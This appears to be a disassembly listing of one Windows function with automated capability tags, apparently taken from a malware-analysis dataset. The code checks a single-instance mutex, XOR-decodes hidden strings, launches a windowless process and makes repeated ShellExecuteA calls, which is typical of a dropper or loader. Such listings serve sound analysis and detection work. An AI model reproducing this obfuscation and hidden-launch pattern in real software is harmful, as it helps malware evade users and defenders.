Function at 0x14000109c
Capabilities:
Check mutex on windows
Create process on windows
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x368]
sub rsp, 0x450
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov r12d, 1
lea r8, str.486b6109_173a_4678_83be_4b19d094140f
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
xor r15d, r15d
mov r14, rax
test rax, rax
jne 0x140001101
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001669
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000165e
xor edx, edx
lea rcx, [rbp - 0x50]
lea r8d, [rdx + 0x68]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rdx, [rbp + 0x20]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.14000169c
mov r10, rax
cmp byte [rax + 0x37], r15b
je 0x14000117a
mov r8, r15
mov cl, r8b
movabs rax, 0xc169d3a1093b4331
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + r10], al
add r8, r12
cmp r8, 0x37
jb 0x140001153
mov byte [r10 + 0x37], r15b
lea r9, [rbp + 0x20]
mov r8, r10
mov edx, 0x208
lea rcx, [rbp + 0x130]
call fcn.140001008
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x130]
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
movdqa xmm0, xmmword [0x1400036a0]
movdqa xmm1, xmmword [0x1400036b0]
movdqa xmm2, xmmword [0x140003690]
mov rcx, qword [rax]
mov edx, 0x200
mov word [rbp - 0x58], 0x64ca
mov ebx, 0x168
mov eax, dword [rdx + rcx]
test r12b, al
jne 0x14000128e
or eax, r12d
mov dword [rdx + rcx], eax
add rcx, rbx
lea rdx, [rbp - 0x56]
mov byte [rcx + 0x33], r12b
lea rax, [rcx + 0x32]
cmp rcx, rdx
ja 0x14000126b
lea rdx, [rsp + 0x78]
cmp rax, rdx
jb 0x14000126b
movzx eax, word [rbp - 0x58]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0x65
jmp 0x140001282
movzx eax, word [rbp - 0x58]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0x65
lea rcx, [0x140002808]
call fcn.1400018d4
mov rax, qword gs:[0x58]
movabs r9, 0x57fb21ed7b6501a9
mov r8, qword [rax]
lea rsi, [rbx + r8]
cmp byte [rsi + 0x33], r15b
je 0x1400012cf
mov rdx, r15
mov cl, dl
mov rax, r9
and cl, 7
shl cl, 3
shr rax, cl
xor byte [rdx + rsi], al
add rdx, r12
cmp rdx, 0x33
jb 0x1400012b1
mov byte [rsi + 0x33], r15b
mov ecx, 0x144
mov dword [rsp + 0x68], 0x1e126ed9
mov dword [rsp + 0x6c], 0x3293529f
mov dword [rsp + 0x70], 0x1e4b6dc5
mov eax, dword [rcx + r8]
mov word [rsp + 0x74], 0x4495
mov ebx, 0x1e8
test r12b, al
jne 0x140001346
movsd xmm0, qword [rsp + 0x68]
or eax, r12d
mov dword [rcx + r8], eax
lea rcx, [0x140002834]
mov eax, dword [rsp + 0x70]
mov word [rbx + r8 + 0xe], 0x1fb
movsd qword [rbx + r8], xmm0
mov dword [rbx + r8 + 8], eax
movzx eax, word [rsp + 0x74]
mov word [rbx + r8 + 0xc], ax
call fcn.1400018d4
movabs r9, 0x57fb21ed7b6501a9
mov rax, qword gs:[0x58]
mov r8, qword [rax]
lea rdi, [rbx + r8]
cmp byte [rdi + 0xf], r15b
je 0x14000137d
mov rdx, r15
mov cl, dl
mov rax, r9
and cl, 7
shl cl, 3
shr rax, cl
xor byte [rdx + rdi], al
add rdx, r12
cmp rdx, 0xf
jb 0x14000135f
mov byte [rdi + 0xf], r15b
mov ecx, 0x1e0
mov dword [rsp + 0x68], 0x150071c6
mov ebx, 0x148
mov eax, dword [rcx + r8]
test r12b, al
jne 0x1400013bb
or eax, r12d
mov word [rbx + r8 + 4], 0x1ed
mov dword [rcx + r8], eax
lea rcx, [0x140002858]
mov eax, dword [rsp + 0x68]
mov dword [rbx + r8], eax
call fcn.1400018d4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], r15b
je 0x1400013fd
mov r10, r15
movabs r8, 0x57fb21ed7b6501a9
mov cl, r10b
mov rax, r8
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r10 + rdx], al
add r10, r12
cmp r10, 5
jb 0x1400013dd
mov byte [rdx + 5], r15b
mov dword [rsp + 0x28], r15d
mov r9, rsi
mov r8, rdi
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov edx, 0x1d8
mov dword [rsp + 0x68], 0x81c62682
mov dword [rsp + 0x6c], 0x55b0b5f4
mov rcx, qword [rax]
mov ebx, 0x138
mov eax, dword [rdx + rcx]
test r12b, al
jne 0x14000146e
or eax, r12d
mov byte [rbx + rcx + 8], r12b
mov dword [rdx + rcx], eax
mov rax, qword [rsp + 0x68]
mov qword [rbx + rcx], rax
lea rcx, [0x1400027d4]
call fcn.1400018d4
mov rax, qword gs:[0x58]
movabs rsi, 0x55d5cd91afbf43e9
mov r8, qword [rax]
lea rdi, [rbx + r8]
cmp byte [rdi + 8], r15b
je 0x1400014af
mov rdx, r15
mov cl, dl
mov rax, rsi
and cl, 7
shl cl, 3
shr rax, cl
xor byte [rdx + rdi], al
add rdx, r12
cmp rdx, 8
jb 0x140001491
mov byte [rdi + 8], r15b
mov ecx, 0x164
mov dword [rsp + 0x68], 0xc1da3386
mov ebx, 0x1f8
mov eax, dword [rcx + r8]
test r12b, al
jne 0x1400014ed
or eax, r12d
mov word [rbx + r8 + 4], 0x191
mov dword [rcx + r8], eax
lea rcx, [0x1400027ec]
mov eax, dword [rsp + 0x68]
mov dword [rbx + r8], eax
call fcn.1400018d4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], r15b
je 0x140001525
mov r9, r15
mov cl, r9b
mov rax, rsi
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r9 + rdx], al
add r9, r12
cmp r9, 5
jb 0x140001505
mov byte [rdx + 5], r15b
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov r8, rdi
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword gs:[0x58]
mov edx, 0x130
mov dword [rsp + 0x68], 0xfb964ea2
mov dword [rsp + 0x6c], 0x943b5cc3
mov rcx, qword [rax]
mov ebx, 0x158
mov eax, dword [rdx + rcx]
test r12b, al
jne 0x14000158f
movsd xmm0, qword [rsp + 0x68]
or eax, r12d
mov word [rbx + rcx + 8], 0x1cf
mov dword [rdx + rcx], eax
movsd qword [rbx + rcx], xmm0
lea rcx, [0x14000279c]
call fcn.1400018d4
mov rax, qword gs:[0x58]
movabs rsi, 0xf14339ed95ff2fcf
mov r8, qword [rax]
lea rdi, [rbx + r8]
cmp byte [rdi + 9], r15b
je 0x1400015d0
mov rdx, r15
mov cl, dl
mov rax, rsi
and cl, 7
shl cl, 3
shr rax, cl
xor byte [rdx + rdi], al
add rdx, r12
cmp rdx, 9
jb 0x1400015b2
mov byte [rdi + 9], r15b
mov ecx, 0x1dc
mov dword [rsp + 0x68], 0xfb9a5fa0
mov ebx, 0x150
mov eax, dword [rcx + r8]
test r12b, al
jne 0x14000160e
or eax, r12d
mov word [rbx + r8 + 4], 0x1ed
mov dword [rcx + r8], eax
lea rcx, [0x1400027b8]
mov eax, dword [rsp + 0x68]
mov dword [rbx + r8], eax
call fcn.1400018d4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], r15b
je 0x140001646
mov r9, r15
mov cl, r9b
mov rax, rsi
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r9 + rdx], al
add r9, r12
cmp r9, 5
jb 0x140001626
mov byte [rdx + 5], r15b
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov r8, rdi
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.140001810
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret